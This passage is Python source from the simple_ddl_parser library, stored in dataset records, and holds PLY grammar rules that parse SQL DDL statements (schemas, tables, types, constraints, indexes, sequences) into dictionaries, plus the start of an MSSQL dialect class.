{\"schema_name\": p_list[3], auth.lower(): p_list[3]}\n else:\n p[0] = {\"schema_name\": p_list[2], auth.lower(): p_list[-1]}\n\n def p_c_schema(self, p: List) -> None:\n \"\"\"c_schema : CREATE SCHEMA\n | CREATE ID SCHEMA\"\"\"\n if len(p) == 4:\n p[0] = {\"remote\": True}\n\n def p_create_schema(self, p: List) -> None:\n \"\"\"create_schema : c_schema id id\n | c_schema id id id\n | c_schema id\n | c_schema id DOT id\n | c_schema IF NOT EXISTS id\n | c_schema IF NOT EXISTS id DOT id\n | create_schema id id id\n | create_schema id id STRING\n | create_schema options\n \"\"\"\n p_list = list(p)\n p[0] = {}\n auth_index = None\n\n self.add_if_not_exists(p[0], p_list)\n if isinstance(p_list[1], dict):\n p[0] = p_list[1]\n self.set_properties_for_schema_and_database(p, p_list)\n elif auth in p_list:\n auth_index = p_list.index(auth)\n self.set_auth_property_in_schema(p, p_list)\n\n if isinstance(p_list[-1], str):\n if auth_index:\n schema_name = p_list[auth_index - 1]\n if schema_name is None:\n schema_name = p_list[auth_index + 1]\n else:\n schema_name = p_list[-1]\n p[0][\"schema_name\"] = schema_name.replace(\"`\", \"\")\n\n p[0] = self.set_project_in_schema(p[0], p_list, auth_index)\n\n @staticmethod\n def set_project_in_schema(data: Dict, p_list: List, auth_index: int) -> Dict:\n if len(p_list) > 4 and not auth_index and \".\" in p_list:\n data[\"project\"] = p_list[-3].replace(\"`\", \"\")\n return data\n\n def p_create_database(self, p: List) -> None:\n \"\"\"create_database : database_base\n | create_database id id id\n | create_database id id STRING\n | create_database options\n \"\"\"\n p_list = list(p)\n\n if isinstance(p_list[1], dict):\n p[0] = p_list[1]\n self.set_properties_for_schema_and_database(p, p_list)\n else:\n p[0] = {f\"{p[2].lower()}_name\": p_list[-1]}\n\n\nclass Drop:\n def p_expression_drop_table(self, p: List) -> None:\n \"\"\"expr : DROP TABLE id\n | DROP TABLE id DOT id\n \"\"\"\n # get schema & table name\n p_list = list(p)\n schema = None\n if len(p) > 4:\n if \".\" in p:\n schema = p_list[-3]\n table_name = p_list[-1]\n else:\n table_name = p_list[-1]\n p[0] = {\"schema\": schema, \"table_name\": table_name}\n\n\nclass Type:\n def p_multiple_column_names(self, p: List) -> None:\n \"\"\"multiple_column_names : column\n | multiple_column_names COMMA\n | multiple_column_names column\n \"\"\"\n p_list = list(p)\n if isinstance(p[1], dict):\n p[0] = [p[1]]\n else:\n p[0] = p[1]\n if p_list[-1] != \",\":\n p[0].append(p_list[-1])\n\n @staticmethod\n def add_columns_property_for_type(data: Dict, p_list: List) -> Dict:\n if \"TABLE\" in p_list or isinstance(p_list[-1], dict) and p_list[-1].get(\"name\"):\n if not data[\"properties\"].get(\"columns\"):\n data[\"properties\"][\"columns\"] = []\n data[\"properties\"][\"columns\"].append(p_list[-1])\n return data\n\n @staticmethod\n def set_base_type(data: Dict, p_list: List) -> Dict:\n if len(p_list) > 3:\n data[\"base_type\"] = p_list[2]\n else:\n data[\"base_type\"] = None\n return data\n\n @staticmethod\n def process_str_base_type(data: Dict, p_list: List) -> Dict:\n base_type = data[\"base_type\"].upper()\n if base_type == \"ENUM\":\n data[\"properties\"][\"values\"] = p_list[3]\n elif data[\"base_type\"] == \"OBJECT\":\n if \"type\" in p_list[3][0]:\n data[\"properties\"][\"attributes\"] = p_list[3]\n return data\n\n def p_type_definition(self, p: List) -> None: # noqa: C901\n \"\"\"type_definition : type_name id LP pid RP\n | type_name id LP multiple_column_names RP\n | type_name LP id_equals RP\n | type_name TABLE LP defcolumn\n | type_definition COMMA defcolumn\n | type_definition RP\n \"\"\"\n p_list = remove_par(list(p))\n p[0] = p[1]\n if not p[0].get(\"properties\"):\n p[0][\"properties\"] = {}\n\n p[0] = self.add_columns_property_for_type(p[0], p_list)\n\n p[0] = self.set_base_type(p[0], p_list)\n\n if isinstance(p[0][\"base_type\"], str):\n p[0] = self.process_str_base_type(p[0], p_list)\n elif isinstance(p_list[-1], list):\n for item in p_list[-1]:\n p[0][\"properties\"].update(item)\n\n def p_expression_type_as(self, p: List) -> None:\n \"\"\"expr : type_definition\"\"\"\n p[0] = p[1]\n\n def p_type_name(self, p: List) -> None:\n \"\"\"type_name : type_create id AS\n | type_create id DOT id AS\n | type_create id DOT id\n | type_create id\n \"\"\"\n p_list = list(p)\n p[0] = {}\n if \".\" not in p_list:\n p[0][\"schema\"] = None\n p[0][\"type_name\"] = p_list[2]\n else:\n p[0][\"schema\"] = p[2]\n p[0][\"type_name\"] = p_list[4]\n\n def p_type_create(self, p: List) -> None:\n \"\"\"type_create : CREATE TYPE\n | CREATE OR REPLACE TYPE\n \"\"\"\n p[0] = None\n\n\nclass Domain:\n def p_expression_domain_as(self, p: List) -> None:\n \"\"\"expr : domain_name id LP pid RP\"\"\"\n p_list = list(p)\n p[0] = p[1]\n p[0][\"base_type\"] = p[2]\n p[0][\"properties\"] = {}\n if p[0][\"base_type\"] == \"ENUM\":\n p[0][\"properties\"][\"values\"] = p_list[4]\n\n def p_domain_name(self, p: List) -> None:\n \"\"\"domain_name : CREATE DOMAIN id AS\n | CREATE DOMAIN id DOT id AS\n | CREATE DOMAIN id DOT id\n | CREATE DOMAIN id\n \"\"\"\n p_list = list(p)\n p[0] = {}\n if \".\" not in p_list:\n p[0][\"schema\"] = None\n else:\n p[0][\"schema\"] = p[3]\n p[0][\"domain_name\"] = p_list[-2]\n\n\nclass BaseSQL(\n Database, Table, Drop, Domain, Column, AfterColumns, Type, Schema, TableSpaces\n):\n def clean_up_id_list_in_equal(self, p_list: List) -> List: # noqa R701\n if isinstance(p_list[1], str) and p_list[1].endswith(\"=\"):\n p_list[1] = p_list[1][:-1]\n elif \",\" in p_list:\n if len(p_list) == 4:\n p_list = p_list[-1].split(\"=\")\n elif len(p_list) == 5 and p_list[-2].endswith(\"=\"):\n p_list[-2] = p_list[-2][:-1]\n elif \"=\" == p_list[-2]:\n p_list.pop(-2)\n return p_list\n\n def get_property(self, p_list: List) -> Dict:\n _property = None\n if not isinstance(p_list[-2], list):\n _value = True\n value = None\n if p_list[-2]:\n if not p_list[-2] == \"=\":\n key = p_list[-2]\n else:\n key = p_list[-3]\n\n else:\n _value = False\n key = p_list[-1]\n if \"=\" in key:\n key = key.split(\"=\")\n if _value:\n value = f\"{key[1]} {p_list[-1]}\"\n key = key[0]\n else:\n value = p_list[-1]\n _property = {key: value}\n else:\n _property = p_list[-2][0]\n return _property\n\n def p_id_equals(self, p: List) -> None:\n \"\"\"id_equals : id id id\n | id id\n | id_equals COMMA\n | id_equals COMMA id id id\n | id\n | id_equals LP pid RP\n | id_equals LP pid RP id\n | id_equals COMMA id id\n | id_equals COMMA id\n \"\"\"\n p_list = remove_par(list(p))\n if p_list[-1] == \"]\":\n p_list = p_list[:-1]\n if isinstance(p_list[-1], list):\n p[0] = p[1]\n p[0][-1][list(p[0][-1].keys())[0]] = p_list[-1]\n else:\n p_list = self.clean_up_id_list_in_equal(p_list)\n _property = self.get_property(p_list)\n\n if _property:\n if not isinstance(p[1], list):\n p[0] = [_property]\n else:\n p[0] = p[1]\n if not p_list[-1] == \",\":\n p[0].append(_property)\n\n def p_expression_index(self, p: List) -> None:\n \"\"\"expr : index_table_name LP index_pid RP\"\"\"\n p_list = remove_par(list(p))\n p[0] = p[1]\n for item in [\"detailed_columns\", \"columns\"]:\n if item not in p[0]:\n p[0][item] = p_list[-1][item]\n else:\n p[0][item].extend(p_list[-1][item])\n\n def p_index_table_name(self, p: List) -> None:\n \"\"\"index_table_name : create_index ON id\n | create_index ON id DOT id\n \"\"\"\n p[0] = p[1]\n p_list = list(p)\n schema = None\n if \".\" in p_list:\n schema = p_list[-3]\n table_name = p_list[-1]\n else:\n table_name = p_list[-1]\n p[0].update({\"schema\": schema, \"table_name\": table_name})\n\n def p_create_index(self, p: List) -> None:\n \"\"\"create_index : CREATE INDEX id\n | CREATE UNIQUE INDEX id\n | create_index ON id\n | CREATE CLUSTERED INDEX id\n \"\"\"\n p_list = list(p)\n if \"CLUSTERED\" in p_list:\n clustered = True\n else:\n clustered = False\n if isinstance(p[1], dict):\n p[0] = p[1]\n else:\n p[0] = {\n \"schema\": None,\n \"index_name\": p_list[-1],\n \"unique\": \"UNIQUE\" in p_list,\n \"clustered\": clustered,\n }\n\n def extract_check_data(self, p, p_list):\n if isinstance(p_list[-1][\"check\"], list):\n check = \" \".join(p_list[-1][\"check\"])\n if isinstance(check, str):\n check = {\"constraint_name\": None, \"statement\": check}\n else:\n check = p_list[-1][\"check\"]\n p[0] = self.set_constraint(p[0], \"checks\", check, check[\"constraint_name\"])\n if not p[0].get(\"checks\"):\n p[0][\"checks\"] = []\n p[0][\"checks\"].append(check)\n return p[0]\n\n def p_expression_table(self, p: List) -> None:\n \"\"\"expr : table_name defcolumn\n | table_name LP defcolumn\n | table_name\n | expr COMMA defcolumn\n | expr COMMA\n | expr COMMA constraint\n | expr COMMA check_ex\n | expr COMMA foreign\n | expr COMMA pkey\n | expr COMMA uniq\n | expr COMMA statem_by_id\n | expr COMMA constraint uniq\n | expr COMMA period_for\n | expr COMMA pkey_constraint\n | expr COMMA constraint pkey\n | expr COMMA constraint pkey enforced\n | expr COMMA constraint foreign ref\n | expr COMMA foreign ref\n | expr COMMA table_properties\n | expr encode\n | expr RP\n \"\"\"\n p[0] = p[1]\n p_list = remove_par(list(p))\n if p_list[-1] != \",\":\n if \"type\" in p_list[-1] and \"name\" in p_list[-1]:\n p[0][\"columns\"].append(p_list[-1])\n elif \"check\" in p_list[-1]:\n p[0] = self.extract_check_data(p, p_list)\n elif \"enforced\" in p_list[-1]:\n p_list[-2].update(p_list[-1])\n p[0].update({\"primary_key_enforced\": p_list[-1][\"enforced\"]})\n else:\n p[0].update(p_list[-1])\n\n if isinstance(p_list[-1], dict):\n p[0] = self.process_constraints_and_refs(p[0], p_list)\n\n def process_unique_and_primary_constraint(self, data: Dict, p_list: List) -> Dict:\n if p_list[-1].get(\"unique_statement\"):\n data = self.set_constraint(\n data,\n \"uniques\",\n {\"columns\": p_list[-1][\"unique_statement\"]},\n p_list[-2][\"constraint\"][\"name\"],\n )\n else:\n data = self.set_constraint(\n data,\n \"primary_keys\",\n {\"columns\": p_list[-1][\"primary_key\"]},\n p_list[-2][\"constraint\"][\"name\"],\n )\n return data\n\n def process_constraints_and_refs(self, data: Dict, p_list: List) -> Dict:\n\n if \"constraint\" in p_list[-2]:\n data = self.process_unique_and_primary_constraint(data, p_list)\n elif (\n len(p_list) >= 4\n and isinstance(p_list[3], dict)\n and p_list[3].get(\"constraint\")\n and p_list[3][\"constraint\"].get(\"primary_key\")\n ):\n del p_list[3][\"constraint\"][\"primary_key\"]\n data = self.set_constraint(\n target_dict=data,\n _type=\"primary_keys\",\n constraint=p_list[3][\"constraint\"],\n constraint_name=p_list[3][\"constraint\"][\"name\"],\n )\n del data[\"constraint\"]\n elif p_list[-1].get(\"references\"):\n data = self.add_ref_information_to_table(data, p_list)\n return data\n\n def add_ref_information_to_table(self, data, p_list):\n if len(p_list) > 4 and \"constraint\" in p_list[3]:\n data = self.set_constraint(\n data,\n \"references\",\n p_list[-1][\"references\"],\n p_list[3][\"constraint\"][\"name\"],\n )\n elif isinstance(p_list[-2], list):\n if \"ref_columns\" not in data:\n data[\"ref_columns\"] = []\n\n for num, column in enumerate(p_list[-2]):\n ref = deepcopy(p_list[-1][\"references\"])\n ref[\"column\"] = ref[\"columns\"][num]\n del ref[\"columns\"]\n ref[\"name\"] = column\n data[\"ref_columns\"].append(ref)\n return data\n\n @staticmethod\n def set_constraint(\n target_dict: Dict, _type: str, constraint: Dict, constraint_name: str\n ) -> Dict:\n if not target_dict.get(\"constraints\"):\n target_dict[\"constraints\"] = {}\n if not target_dict[\"constraints\"].get(_type):\n target_dict[\"constraints\"][_type] = []\n if \"name\" in constraint:\n del constraint[\"name\"]\n constraint.update({\"constraint_name\": constraint_name})\n target_dict[\"constraints\"][_type].append(constraint)\n return target_dict\n\n def p_likke(self, p: List) -> None:\n \"\"\"likke : LIKE\n | CLONE\n \"\"\"\n p[0] = None\n\n def p_expression_like_table(self, p: List) -> None:\n \"\"\"expr : table_name likke id\n | table_name likke id DOT id\n | table_name LP likke id DOT id RP\n | table_name LP likke id RP\n \"\"\"\n # get schema & table name\n p_list = remove_par(list(p))\n if len(p_list) > 4:\n if \".\" in p:\n schema = p_list[-3]\n table_name = p_list[-1]\n else:\n table_name = p_list[-1]\n schema = None\n p[0] = p[1]\n p[0].update({\"like\": {\"schema\": schema, \"table_name\": table_name}})\n\n def p_t_name(self, p: List) -> None:\n \"\"\"t_name : id DOT id\n | id\n | id DOT id DOT id\n \"\"\"\n p_list = list(p)\n\n project = None\n\n if len(p) > 3:\n if \".\" in p:\n schema = p_list[-3]\n table_name = p_list[-1]\n if len(p) == 6:\n project = p_list[1]\n else:\n table_name = p_list[-1]\n schema = None\n\n p[0] = {\"schema\": schema, \"table_name\": table_name, \"columns\": [], \"checks\": []}\n\n if project:\n p[0][\"project\"] = project\n\n def p_table_name(self, p: List) -> None:\n \"\"\"table_name : create_table t_name\n | table_name likke id\n \"\"\"\n # can contain additional properties like 'external for HQL\n p[0] = p[1]\n\n p[0].update(list(p)[-1])\n\n def p_expression_seq(self, p: List) -> None:\n \"\"\"expr : seq_name\n | expr INCREMENT id\n | expr INCREMENT id id\n | expr START id\n | expr START id id\n | expr MINVALUE id\n | expr NO MINVALUE\n | expr NO MAXVALUE\n | expr MAXVALUE id\n | expr CACHE id\n | expr CACHE\n \"\"\"\n # get schema & table name\n p_list = list(p)\n p[0] = p[1]\n value = None\n if len(p) == 4:\n if p[2] == \"NO\":\n value = {p_list[-1].lower(): False}\n else:\n value = {p[2].lower(): int(p_list[-1])}\n elif len(p) == 3:\n value = {p[2].lower(): True}\n elif len(p) == 5:\n value = {f\"{p[2].lower()}_{p[3].lower()}\": int(p_list[-1])}\n if value:\n p[0].update(value)\n\n def p_seq_name(self, p: List) -> None:\n \"\"\"seq_name : create_seq id DOT id\n | create_seq id\n \"\"\"\n # get schema & table name\n p_list = list(p)\n schema = None\n if len(p) > 4:\n if \".\" in p:\n schema = p_list[-3]\n seq_name = p_list[-1]\n else:\n seq_name = p_list[-1]\n p[0] = {\"schema\": schema, \"sequence_name\": seq_name}\n\n def p_create_seq(self, p: List) -> None:\n \"\"\"create_seq : CREATE SEQUENCE IF NOT EXISTS\n | CREATE SEQUENCE\n\n \"\"\"\n # get schema & table name\n\n self.add_if_not_exists(p[0], list(p))\n\n def p_tid(self, p: List) -> None:\n \"\"\"tid : LT id\n | LT\n | tid LT\n | tid id\n | tid COMMAT\n | tid RT\n \"\"\"\n if not isinstance(p[1], list):\n p[0] = [p[1]]\n else:\n p[0] = p[1]\n\n for i in list(p)[2:]:\n if not i == \"[]\" and not i == \",\":\n p[0][0] += f\" {i}\"\n else:\n p[0][0] += f\"{i}\"\n\n @staticmethod\n def get_complex_type(p, p_list):\n if len(p_list) == 4:\n p[0][\"type\"] = f\"{p[2]} {p[3][0]}\"\n elif p[0][\"type\"]:\n if len(p[0][\"type\"]) == 1 and isinstance(p[0][\"type\"], list):\n p[0][\"type\"] = p[0][\"type\"][0]\n p[0][\"type\"] = f'{p[0][\"type\"]} {p_list[-1][0]}'\n else:\n p[0][\"type\"] = p_list[-1][0]\n return p[0]\n\n def extract_references(self, table_data: Dict):\n ref = {\n \"table\": table_data[\"table_name\"],\n \"columns\": [None],\n \"schema\": table_data[\"schema\"],\n \"on_delete\": None,\n \"on_update\": None,\n \"deferrable_initially\": None,\n }\n\n if table_data.get(\"project\"):\n ref[\"project\"] = table_data[\"project\"]\n\n return ref\n\n def p_null(self, p: List) -> None:\n \"\"\"null : NULL\n | NOT NULL\n \"\"\"\n nullable = True\n if \"NULL\" in p or \"null\" in p:\n if \"NOT\" in p or \"not\" in p:\n nullable = False\n p[0] = {\"nullable\": nullable}\n\n def p_f_call(self, p: List) -> None:\n \"\"\"f_call : id LP RP\n | id LP f_call RP\n | id LP multi_id RP\n | id LP pid RP\n \"\"\"\n p_list = list(p)\n if isinstance(p[1], list):\n p[0] = p[1]\n p[0].append(p_list[-1])\n else:\n value = \"\"\n for elem in p_list[1:]:\n if isinstance(elem, list):\n elem = \",\".join(elem)\n value += elem\n p[0] = value\n\n def p_multi_id(self, p: List) -> None:\n \"\"\"multi_id : id\n | multi_id id\n | f_call\n | multi_id f_call\n \"\"\"\n p_list = list(p)\n if isinstance(p[1], list):\n p[0] = p[1]\n p[0].append(p_list[-1])\n else:\n value = \" \".join(p_list[1:])\n p[0] = value\n\n def p_funct_args(self, p: List) -> None:\n \"\"\"funct_args : LP multi_id RP\"\"\"\n p[0] = {\"args\": f\"({p[2]})\"}\n\n def p_funct_expr(self, p: List) -> None:\n \"\"\"funct_expr : LP multi_id RP\n | multi_id\n \"\"\"\n if len(p) > 2:\n p[0] = p[2]\n else:\n p[0] = p[1]\n\n def p_dot_id(self, p: List) -> None:\n \"\"\"dot_id : id DOT id\"\"\"\n p[0] = f\"{p[1]}.{p[3]}\"\n\n def p_default(self, p: List) -> None:\n \"\"\"default : DEFAULT id\n | DEFAULT STRING\n | DEFAULT NULL\n | default FOR dot_id\n | DEFAULT funct_expr\n | DEFAULT LP pid RP\n | DEFAULT LP funct_expr pid RP\n | default id\n | default LP RP\n \"\"\"\n p_list = remove_par(list(p))\n\n default = self.pre_process_default(p_list)\n\n if isinstance(p_list[-1], list):\n p_list[-1] = \" \".join(p_list[-1])\n default = \" \".join(p_list[1:])\n elif not isinstance(default, dict) and default.isnumeric():\n default = int(default)\n\n if isinstance(p[1], dict):\n p[0] = self.process_dict_default_value(p_list, default)\n else:\n p[0] = {\"default\": default}\n\n @staticmethod\n def pre_process_default(p_list: List) -> Any:\n if len(p_list) == 5 and isinstance(p_list[3], list):\n default = p_list[3][0]\n elif \"DEFAULT\" in p_list and len(p_list) == 4:\n default = f\"{p_list[2]} {p_list[3]}\"\n else:\n default = p_list[2]\n return default\n\n @staticmethod\n def process_dict_default_value(p_list: List, default: Any) -> Dict:\n data = p_list[1]\n if \"FOR\" in default:\n data[\"default\"] = {\"next_value_for\": p_list[-1]}\n else:\n for i in p_list[2:]:\n if isinstance(p_list[2], str):\n p_list[2] = p_list[2].replace(\"\\\\'\", \"'\")\n if i == \")\" or i == \"(\":\n data[\"default\"] = str(data[\"default\"]) + f\"{i}\"\n else:\n data[\"default\"] = str(data[\"default\"]) + f\" {i}\"\n data[\"default\"] = data[\"default\"].replace(\"))\", \")\")\n return data\n\n def p_enforced(self, p: List) -> None:\n \"\"\"enforced : ENFORCED\n | NOT ENFORCED\n \"\"\"\n p_list = list(p)\n p[0] = {\"enforced\": len(p_list) == 1}\n\n def p_collate(self, p: List) -> None:\n \"\"\"collate : COLLATE id\n | COLLATE STRING\n \"\"\"\n p_list = list(p)\n p[0] = {\"collate\": p_list[-1]}\n\n def p_constraint(self, p: List) -> None:\n \"\"\"\n constraint : CONSTRAINT id\n \"\"\"\n\n p_list = list(p)\n\n p[0] = {\"constraint\": {\"name\": p_list[-1]}}\n\n def p_generated(self, p: List) -> None:\n \"\"\"\n generated : gen_always funct_expr\n | gen_always funct_expr id\n | gen_always LP multi_id RP\n | gen_always f_call\n \"\"\"\n p_list = list(p)\n stored = False\n if len(p) > 3 and p_list[-1].lower() == \"stored\":\n stored = True\n _as = p[2]\n p[0] = {\"generated\": {\"always\": True, \"as\": _as, \"stored\": stored}}\n\n def p_gen_always(self, p: List) -> None:\n \"\"\"\n gen_always : GENERATED id AS\n \"\"\"\n p[0] = {\"generated\": {\"always\": True}}\n\n def p_check_st(self, p: List) -> None:\n \"\"\"check_st : CHECK LP id\n | check_st id\n | check_st STRING\n | check_st id RP\n | check_st STRING RP\n | check_st funct_args\n \"\"\"\n p_list = remove_par(list(p))\n if isinstance(p[1], dict):\n p[0] = p[1]\n else:\n p[0] = {\"check\": []}\n for item in p_list[2:]:\n if isinstance(p_list[-1], dict) and p_list[-1].get(\"args\"):\n p[0][\"check\"][-1] += p_list[-1][\"args\"]\n else:\n p[0][\"check\"].append(item)\n\n def p_expression_alter(self, p: List) -> None:\n \"\"\"expr : alter_foreign ref\n | alter_check\n | alter_unique\n | alter_default\n \"\"\"\n p[0] = p[1]\n if len(p) == 3:\n p[0].update(p[2])\n\n def p_alter_unique(self, p: List) -> None:\n \"\"\"alter_unique : alt_table UNIQUE LP pid RP\n | alt_table constraint UNIQUE LP pid RP\n \"\"\"\n\n p_list = remove_par(list(p))\n p[0] = p[1]\n p[0][\"unique\"] = {\"constraint_name\": None, \"columns\": p_list[-1]}\n if \"constraint\" in p[2]:\n p[0][\"unique\"][\"constraint_name\"] = p[2][\"constraint\"][\"name\"]\n\n @staticmethod\n def get_column_and_value_from_alter(p: List) -> Tuple:\n\n p_list = remove_par(list(p))\n\n column = None\n value = None\n\n if isinstance(p_list[2], str) and \"FOR\" == p_list[2].upper():\n column = p_list[-1]\n elif p[0].get(\"default\") and p[0][\"default\"].get(\"value\"):\n value = p[0][\"default\"][\"value\"] + \" \" + p_list[-1]\n else:\n value = p_list[-1]\n return column, value\n\n def p_alter_default(self, p: List) -> None:\n \"\"\"alter_default : alt_table id id\n | alt_table constraint id id\n | alt_table id STRING\n | alt_table constraint id STRING\n | alter_default id\n | alter_default FOR pid\n \"\"\"\n\n p[0] = p[1]\n column, value = self.get_column_and_value_from_alter(p)\n\n if \"default\" not in p[0]:\n\n p[0][\"default\"] = {\n \"constraint_name\": None,\n \"columns\": column,\n \"value\": value,\n }\n else:\n p[0][\"default\"].update(\n {\n \"columns\": p[0][\"default\"].get(\"column\") or column,\n \"value\": value or p[0][\"default\"].get(\"value\"),\n }\n )\n if \"constraint\" in p[2]:\n p[0][\"default\"][\"constraint_name\"] = p[2][\"constraint\"][\"name\"]\n\n def p_pid(self, p: List) -> None:\n \"\"\"pid : id\n | STRING\n | pid id\n | pid STRING\n | STRING LP RP\n | id LP RP\n | pid COMMA id\n | pid COMMA STRING\n \"\"\"\n p_list = list(p)\n\n if len(p_list) == 4 and isinstance(p[1], str):\n p[0] = [\"\".join(p[1:])]\n elif not isinstance(p_list[1], list):\n p[0] = [p_list[1]]\n else:\n p[0] = p_list[1]\n p[0].append(p_list[-1])\n\n def p_alter_check(self, p: List) -> None:\n \"\"\"alter_check : alt_table check_st\n | alt_table constraint check_st\n \"\"\"\n p_list = remove_par(list(p))\n p[0] = p[1]\n if isinstance(p[1], dict):\n p[0] = p[1]\n if not p[0].get(\"check\"):\n p[0][\"check\"] = {\"constraint_name\": None, \"statement\": []}\n if isinstance(p[2], dict) and \"constraint\" in p[2]:\n p[0][\"check\"][\"constraint_name\"] = p[2][\"constraint\"][\"name\"]\n p[0][\"check\"][\"statement\"] = p_list[-1][\"check\"]\n\n def p_index_pid(self, p: List) -> None:\n \"\"\"index_pid : id\n | index_pid id\n | index_pid COMMA index_pid\n \"\"\"\n p_list = list(p)\n if len(p_list) == 2:\n detailed_column = {\"name\": p_list[1], \"order\": \"ASC\", \"nulls\": \"LAST\"}\n column = p_list[1]\n p[0] = {\"detailed_columns\": [detailed_column], \"columns\": [column]}\n else:\n p[0] = p[1]\n if len(p) == 3:\n if p_list[-1] in [\"DESC\", \"ASC\"]:\n p[0][\"detailed_columns\"][0][\"order\"] = p_list[-1]\n else:\n p[0][\"detailed_columns\"][0][\"nulls\"] = p_list[-1]\n\n column = p_list[2]\n elif isinstance(p_list[-1], dict):\n for i in p_list[-1][\"columns\"]:\n p[0][\"columns\"].append(i)\n for i in p_list[-1][\"detailed_columns\"]:\n p[0][\"detailed_columns\"].append(i)\n\n def p_alter_foreign(self, p: List) -> None:\n \"\"\"alter_foreign : alt_table foreign\n | alt_table constraint foreign\n \"\"\"\n\n p_list = list(p)\n\n p[0] = p[1]\n if isinstance(p_list[-1], list):\n p[0][\"columns\"] = [{\"name\": i} for i in p_list[-1]]\n else:\n column = p_list[-1]\n\n if not p[0].get(\"columns\"):\n p[0][\"columns\"] = []\n p[0][\"columns\"].append(column)\n\n for column in p[0][\"columns\"]:\n if isinstance(p_list[2], dict) and \"constraint\" in p_list[2]:\n column.update({\"constraint_name\": p_list[2][\"constraint\"][\"name\"]})\n\n def p_alt_table_name(self, p: List) -> None:\n \"\"\"alt_table : ALTER TABLE t_name ADD\n | ALTER TABLE IF EXISTS t_name ADD\n | ALTER TABLE ID t_name ADD\"\"\"\n p_list = list(p)\n table_data = p_list[-2]\n p[0] = {\n \"alter_table_name\": table_data[\"table_name\"],\n \"schema\": table_data[\"schema\"],\n }\n if \"IF\" in p_list:\n p[0][\"if_exists\"] = True\n if len(p_list) == 6:\n p[0][\"only\"] = True\n if table_data.get(\"project\"):\n p[0][\"project\"] = table_data[\"project\"]\n\n def p_foreign(self, p):\n # todo: need to redone id lists\n \"\"\"foreign : FOREIGN KEY LP pid RP\n | FOREIGN KEY\"\"\"\n p_list = remove_par(list(p))\n if len(p_list) == 4:\n columns = p_list[-1]\n p[0] = columns\n\n def p_ref(self, p: List) -> None:\n \"\"\"ref : REFERENCES t_name\n | ref LP pid RP\n | ref ON DELETE id\n | ref ON UPDATE id\n | ref DEFERRABLE INITIALLY id\n | ref NOT DEFERRABLE\n \"\"\"\n p_list = remove_par(list(p))\n if isinstance(p[1], dict):\n p[0] = p[1]\n if \"ON\" not in p_list and \"DEFERRABLE\" not in p_list:\n p[0][\"references\"][\"columns\"] = p_list[-1]\n else:\n p[0][\"references\"][\"columns\"] = p[0][\"references\"].get(\n \"columns\", [None]\n )\n else:\n data = {\"references\": self.extract_references(p_list[-1])}\n p[0] = data\n p[0] = self.process_references_with_properties(p[0], p_list)\n\n @staticmethod\n def process_references_with_properties(data: Dict, p_list: List) -> Dict:\n if \"ON\" in p_list:\n if \"DELETE\" in p_list:\n data[\"references\"][\"on_delete\"] = p_list[-1]\n elif \"UPDATE\" in p_list:\n data[\"references\"][\"on_update\"] = p_list[-1]\n elif \"DEFERRABLE\" in p_list:\n if \"NOT\" not in p_list:\n data[\"references\"][\"deferrable_initially\"] = p_list[-1]\n else:\n data[\"references\"][\"deferrable_initially\"] = \"NOT\"\n return data\n\n def p_expression_primary_key(self, p):\n \"expr : pkey\"\n p[0] = p[1]\n\n def p_uniq(self, p: List) -> None:\n \"\"\"uniq : UNIQUE LP pid RP\"\"\"\n p_list = remove_par(list(p))\n p[0] = {\"unique_statement\": p_list[-1]}\n\n def p_statem_by_id(self, p: List) -> None:\n \"\"\"statem_by_id : id LP pid RP\n | id KEY LP pid RP\n \"\"\"\n p_list = remove_par(list(p))\n if p[1].upper() == \"UNIQUE\":\n p[0] = {\"unique_statement\": p_list[-1]}\n elif p[1].upper() == \"CHECK\":\n p[0] = {\"check\": p_list[-1]}\n elif p[1].upper() == \"PRIMARY\":\n p[0] = {\"primary_key\": p_list[-1]}\n\n def p_pkey(self, p: List) -> None:\n \"\"\"pkey : pkey_statement LP pid RP\n | pkey_statement ID LP pid RP\n \"\"\"\n p_list = remove_par(list(p))\n\n columns = []\n\n p[0] = {}\n\n if isinstance(p_list[2], str) and \"CLUSTERED\" == p_list[2]:\n order = None\n column = None\n for item in p_list[-1]:\n if item not in [\"ASC\", \"DESC\"]:\n column = item\n else:\n order = item\n if column and order:\n columns.append({\"column\": column, \"order\": order})\n column = None\n order = None\n p[0][\"clustered_primary_key\"] = columns\n\n p[0] = self.process_order_in_pk(p[0], p_list)\n\n @staticmethod\n def process_order_in_pk(data: Dict, p_list: List) -> Dict:\n columns = []\n for item in p_list[-1]:\n if item not in [\"ASC\", \"DESC\"]:\n columns.append(item)\n data[\"primary_key\"] = columns\n return data\n\n def p_pkey_statement(self, p: List) -> None:\n \"\"\"pkey_statement : PRIMARY KEY\"\"\"\n p[0] = {\"primary_key\": None}\n\n def p_comment(self, p: List) -> None:\n \"\"\"comment : COMMENT STRING\"\"\"\n p_list = remove_par(list(p))\n p[0] = {\"comment\": check_spec(p_list[-1])}\n\n def p_tablespace(self, p: List) -> None:\n \"\"\"tablespace : TABLESPACE id\n | TABLESPACE id properties\n \"\"\"\n # Initial 5m Next 5m Maxextents Unlimited\n p[0] = self.get_tablespace_data(list(p))\n\n def p_expr_tablespace(self, p: List) -> None:\n \"\"\"expr : expr tablespace\"\"\"\n p_list = list(p)\n p[0] = p[1]\n p[0][\"tablespace\"] = p_list[-1]\n", "id": "555943", "language": "Python", "matching_score": 3.729642868041992, "max_stars_count": 0, "path": "simple_ddl_parser/dialects/sql.py" }, { "content": "import simple_ddl_parser # noqa: F401 weird issue with failed tests\n\n\nclass MSSQL:\n def p_pkey_constraint(self, p):\n \"\"\"pkey_constraint : constraint pkey_statement id LP index_pid RP\n | constraint pkey_statement LP index_pid RP\n | pkey_constraint with\n | pkey_constraint with ON id\n \"\"\"\n p_list = list(p)\n p[0] = p[1]\n if isinstance(p[2], dict) and \"with\" in p[2]:\n data = p_list[2]\n if \"ON\" in p_list:\n data[\"with\"][\"on\"] = p_list[-1]\n elif len(p_list) == 7:\n data = {\"primary_key\": True, \"columns\": p_list[-2], p[3]: True}\n else:\n data = {\"primary_key\": True, \"columns\": p_list[-2]}\n\n p[0][\"constraint\"].update(data)\n\n def p_with(self, p):\n \"\"\"with : WITH with_args\"\"\"\n p_list = list(p)\n p[0] = {\"with\": {\"properties\": [], \"on\": None}}\n if \")\" not in p_list:\n p[0][\"with\"][\"properties\"] = p_list[-1][\"properties\"]\n\n def p_equals(self, p):\n \"\"\"equals : id id id\n | id id ON\n | id id id DOT id\n \"\"\"\n p_list = list(p)\n if \".\" in p_list:\n p[0] = {\"name\": p_list[1], \"value\": f\"{p_list[3]}.{p_list[5]}\"}\n else:\n p[0] = {\"name\": p_list[-3], \"value\": p_list[-1]}\n\n 